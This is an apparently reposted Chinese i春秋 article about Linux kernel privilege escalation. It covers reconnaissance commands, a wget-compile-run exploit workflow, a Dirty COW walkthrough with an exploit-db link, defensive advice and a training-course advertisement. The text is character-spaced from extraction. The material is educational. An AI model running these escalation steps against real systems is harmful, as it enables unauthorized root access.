搜索

[19738] 2021-04-13_强网杯真题实例分析丨Linux内核提权技术

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-04-13_强网杯真题实例分析丨Linux内核提权技术 强 网 杯 真 题 实 例 分 析 丨 L i n u x 内 核 提 权 技 术 i 春 秋   2 0 2 1 - 0 4 - 1 3 关 于 L i n u x 提 权 ， 先 简 单 了 解 几 个 概 念 。 L i n u x 发 行 版 本 是 我 们 常 说 的 L i n u x 操 作 系 统 ， 是 L i n u x 内 核 与 各 种 常 用 软 件 的 集 合 产 品 ， 全 球 大 约 有 数 百 款 的 L i n u x 系 统 版 本 ， 每 个 系 统 版 本 都 有 自 己 的 特 性 和 目 标 人 群 ，   例 如 ： C e n t O S r e d h a t u b u n t u k a l i l i n u x 内 核 L i n u x 系 统 内 核 指 的 是 一 个 由 L i n u s   T o r v a l d s 负 责 维 护 ， 提 供 硬 件 抽 象 层 、 硬 盘 及 文 件 系 统 控 制 及 多 任 务 功 能 的 系 统 核 心 程 序 。 L i n u x 内 核 提 权 技 术 随 着 时 代 的 发 展 也 在 不 断 推 陈 出 新 ， 尤 其 是 A n d r o i d 内 核 提 权 ， 更 是 影 响 到 了 L i n u x 内 核 提 权 技 术 的 发 展 。 今 天 ， i 春 秋 通 过 一 期 公 开 课 《 L i n u x 内 核 的 花 花 世 界 》 对 L i n u x 内 核 提 权 技 术 进 行 简 单 的 回 顾 总 结 ， 以 及 分 析 L i n u x 内 核 提 权 在 嵌 入 式 设 备 如 M I P S 架 构 上 的 应 用 。 感 兴 趣 的 小 伙 伴 ， 识 别 感 兴 趣 的 小 伙 伴 ， 识 别 二 维 码 二 维 码 立 即 看 课 立 即 看 课
P S ： ： W e b 端 看 课 体 验 更 佳 ， 看 课 地 址 ： h t t p s : / / w w w . i c h u n q i u . c o m / o p e n / 6 2 3 6 1 本 期 重 点 本 期 重 点 1 、 L i n u x 内 核 提 权 的 背 景 介 绍 ； 2 、 结 合 强 网 杯 真 题 进 行 实 例 分 析 ； 3 、 思 考 与 总 结 。 提 权 基 础 知 识 提 权 基 础 知 识 u n a m e   - a 查 看 内 核 版 本 i d 显 示 用 户 的 I D ， 以 及 所 属 群 组 的 I D p w d 显 示 当 前 路 径 d p k g   - l r p m   - q a 查 看 已 经 安 装 的 程 序 c a t   / e t c / i s s u e c a t   / e t c / * - r e l e a s e 查 看 发 行 版
密 码 权 限 密 码 权 限 大 部 分 L i n u x 系 统 的 密 码 都 和 / e t c / p a s s w d 和 / e t c / s h a d o w 这 两 个 配 置 文 件 有 关 ， p a s s w d 里 面 储 存 的 是 用 户 用 户 ， s h a d o w 里 面 存 储 的 是 密 码 的 密 码 的 h a s h 值 值 。 出 于 安 全 考 虑 p a s s w d 是 全 用 户 可 读 ， r o o t 可 写 的 ， 而 s h a d o w 是 仅 r o o t 可 读 写 的 。 / e t c / p a s s w d p a s s w d 由 冒 号 分 割 ， 第 一 列 是 用 户 名 ， 第 二 列 是 密 码 ， x 代 表 密 码 h a s h 被 放 在 s h a d o w 里 面 。 s h a d o w 里 面 的 就 是 密 码 的 h a s h ， 但 只 有 r o o t 权 限 才 可 以 查 看 。 密 码 复 用 密 码 复 用 另 外 需 要 注 意 的 是 很 多 管 理 员 会 重 复 使 用 密 码 ， 所 以 有 可 能 数 据 库 或 者 W e b 后 台 的 密 码 就 是 r o o t 密 码 。 提 权 常 见 流 程 提 权 常 见 流 程 1 、 w g e t   h t t p : / / e x p / e x p . c 下 载 e x p 文 件 2 、 g c c   - o   e x p   e x p . c 利 用 g c c 进 行 编 译 操 作 ， 编 译 成 二 进 制 文 件 3 、 c h m o d   + x   e x p
将 e x p 更 改 为 可 执 行 权 限 4 、 . / e x p 运 行 e x p 进 行 提 权 内 核 漏 洞 提 权 内 核 漏 洞 提 权 通 过 利 用 L i n u x 内 核 中 的 漏 洞 ， 有 时 我 们 可 以 提 升 特 权 。 我 们 通 常 需 要 了 解 的 操 作 系 统 ， 体 系 结 构 和 内 核 版 本 是 测 试 内 核 利 用 是 否 可 行 的 测 试 方 法 。 内 核 漏 洞 内 核 漏 洞 内 核 漏 洞 利 用 程 序 是 利 用 内 核 漏 洞 来 执 行 具 有 更 高 权 限 的 任 意 代 码 的 程 序 。 成 功 的 内 核 利 用 通 常 以 r o o t 命 令 提 示 符 的 形 式 ， 为 攻 击 者 提 供 对 目 标 系 统 的 超 级 用 户 访 问 权 限 。 在 许 多 情 况 下 ， 升 级 到 L i n u x 系 统 上 的 根 目 录 就 像 将 内 核 漏 洞 利 用 程 序 下 载 到 目 标 文 件 系 统 ， 编 译 该 漏 洞 利 用 程 序 然 后 执 行 它 一 样 简 单 。 假 设 我 们 可 以 以 非 特 权 用 户 身 份 运 行 代 码 ， 这 就 是 内 核 利 用 的 通 用 工 作 流 程 ： 1 、 诱 使 内 核 在 内 核 模 式 下 运 行 我 们 的 有 效 负 载 ； 2 、 处 理 内 核 数 据 ， 例 如 进 程 特 权 ； 3 、 以 新 特 权 启 动 s h e l l   r o o t ！ 考 虑 到 要 成 功 利 用 内 核 利 用 攻 击 ， 攻 击 者 需 要 满 足 以 下 四 个 条 件 ： 1 、 易 受 攻 击 的 内 核 ； 2 、 匹 配 的 漏 洞 利 用 程 序 ； 3 、 将 漏 洞 利 用 程 序 转 移 到 目 标 上 的 能 力 ； 4 、 在 目 标 上 执 行 漏 洞 利 用 程 序 的 能 力 。
抵 御 内 核 漏 洞 的 最 简 单 方 法 是 保 持 内 核 的 修 补 和 更 新 。 在 没 有 补 丁 的 情 况 下 ， 管 理 员 可 以 极 大 地 影 响 在 目 标 上 转 移 和 执 行 漏 洞 利 用 的 能 力 。 考 虑 到 这 些 因 素 ， 如 果 管 理 员 可 以 阻 止 将 利 用 程 序 引 入 和 / 或 执 行 到 L i n u x 文 件 系 统 上 ， 则 内 核 利 用 程 序 攻 击 将 不 再 可 行 。 因 此 ， 管 理 员 应 专 注 于 限 制 或 删 除 支 持 文 件 传 输 的 程 序 ， 例 如 F T P ， T F T P ， S C P ， w g e t 和 c u r l 。 当 需 要 这 些 程 序 时 ， 它 们 的 使 用 应 限 于 特 定 的 用 户 、 目 录 、 应 用 程 序 （ 例 如 S C P ） 和 特 定 的 I P 地 址 或 域 。 内 核 信 息 收 集 内 核 信 息 收 集 一 些 基 本 命 令 收 集 一 些 L i n u x 内 核 信 息 ： 搜 索 漏 洞 搜 索 漏 洞 s i t e : e x p l o i t - d b . c o m   k e r n e l   v e r s i o n   p y t h o n   l i n p r i v c h e c k e r . p y   e x t e n d e d 通 过 脏 牛 （ 通 过 脏 牛 （ * * C V E - 2 0 1 6 - 5 1 9 5 * * ） 利 用 易 受 攻 击 的 机 器 ） 利 用 易 受 攻 击 的 机 器 $   w h o a m i 命 令 – 告 诉 我 们 当 前 用 户 是 j o h n （ 非 r o o t 用 户 ） $   u n a m e   - a   – 给 我 们 我 们 知 道 容 易 受 到 d i r t y c o w 攻 击 的 内 核 版 本 > 从 此 处 下 载 d i r t y c o w 漏 洞 – h t t p s : / / w w w . e x p l o i t - d b
. c o m / e x p l o i t s / 4 0 8 3 9 / > 编 译 并 执 行 。 通 过 编 辑 / e t c / p a s s w d 文 件 ， 它 将 “ r o o t ” 用 户 替 换 为 新 用 户 “ r a s h ” 。 $   s u   r a s h   – 将 当 前 登 录 用 户 更 改 为 r o o t 用 户 的 “ r a s h ” 。 其 他 内 核 提 权 其 他 内 核 提 权 对 于 不 同 的 内 核 和 操 作 系 统 ， 可 以 公 开 获 得 许 多 不 同 的 本 地 特 权 升 级 漏 洞 。 是 否 可 以 使 用 内 核 利 用 漏 洞 在 L i n u x 主 机 上 获 得 r o o t 访 问 权 限 ， 取 决 于 内 核 是 否 易 受 攻 击 。 K a l i   L i n u x 具 有 e x p l o i t - d b 漏 洞 的 本 地 副 本 ， 这 使 搜 索 本 地 根 漏 洞 更 加 容 易 。 我 不 建 议 在 搜 索 L i n u x 内 核 漏 洞 时 完 全 依 赖 此 数 据 库 。 避 免 一 开 始 就 利 用 任 何 本 地 特 权 升 级 漏 洞 避 免 一 开 始 就 利 用 任 何 本 地 特 权 升 级 漏 洞 如 果 可 以 避 免 ， 请 不 要 使 用 内 核 漏 洞 利 用 。 如 果 使 用 它 ， 可 能 会 使 计 算 机 崩 溃 或 使 其 处 于 不 稳 定 状 态 。 因 此 ， 内 核 漏 洞 利 用 应 该 是 最 后 的 手 段 。 E n d —   往 期 回 顾 往 期 回 顾   — 技 术 交 流 会 ▶   敏 感 文 件 泄 露 漏 洞 挖 掘 ▶   渗 透 测 试 ： 情 报 收 集 ▶   代 码 审 计 实 操 ▶   S S R F 漏 洞 防 御 措 施 ▶   浅 析 勒 索 病 毒 ▶   J A V A 反 序 列 化 学 习 ▶   回 首 白 帽 老 兵 十 年 网 安 之 路 ▶   通 读 L i n u x 提 权 原 理 和 手 法 ▶   浅 析 红 队 基 础 设 施 ▶   W i n d o w s 域 渗 透 之 K e r b e r o s 委 派 安 全 小 科 普 ▶ X X E 漏 洞 知 识 ▶ c o o k i e 是 什 么 ▶ 浅 析 威 胁 情 报 ▶ 浅 析 僵 尸 网 络 ▶ 信 用 卡 安 全
▶ 大 数 据 的 前 世 今 生 ▶ 大 牛 教 你 做 好 应 急 响 应 ▶ 免 费 的 陷 阱 ： 警 惕 公 共 W i - F i ▶ 无 线 键 盘 有 漏 洞 ▶ 0 d a y 危 机 ， 隐 藏 的 攻 防 战 ▶ 加 密 算 法 解 析 ▶ D N S 解 析 ▶   红 队 建 设 之 道 ▶   手 机 锁 屏 密 码 安 全 ▶   中 间 人 攻 击 ▶   十 分 钟 看 懂 隐 写 术 ▶   信 息 泄 露 问 题 ▶   狡 猾 的 漏 洞 利 用 ▶   R F I D 工 作 原 理 分 析 ▶   披 露 世 界 顶 级 黑 客 的 内 心 独 白 ▶   一 分 钟 看 穿 网 络 钓 鱼 D C   G R O U P 精 品 沙 龙 系 列 ▶   V P N 设 备 的 矛 与 盾 ▶   C A N 总 线 安 全 ▶   W i n d o w s   密 码 攻 防 ▶   基 于 攻 击 链 的 威 胁 ， 工 控 安 全 如 何 防 护 ▶   初 窥 I o T 安 全   浅 析 常 规 漏 洞 力 荐 丨 渗 透 测 试 就 业 班 力 荐 丨 渗 透 测 试 就 业 班
杭 州 班 ： 报 名 立 减 5 0 0 0 元 ， 开 课 时 间 ： 5 月 中 旬 ； 北 京 、 天 津 班 ： 报 名 立 减 3 0 0 0 元 ， 开 课 时 间 ： 5 月 中 旬 ； 广 州 班 ： 报 名 立 减 4 0 0 0 元 ， 开 课 时 间 ： 6 月 中 旬 ； 成 都 班 ： 报 名 立 减 2 0 0 0 元 ， 开 课 时 间 ： 8 月 中 旬 。 快 速 咨 询 入 口 快 速 咨 询 入 口 i 春 秋 官 方 公 众 号 为 大 家 提 供 春 秋 官 方 公 众 号 为 大 家 提 供 前 沿 的 网 络 安 全 技 术 简 单 易 懂 的 实 用 工 具 紧 张 刺 激 的 安 全 竞 赛 还 有 网 络 安 全 大 讲 堂 更 多 技 能 等 你 来 解 锁

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理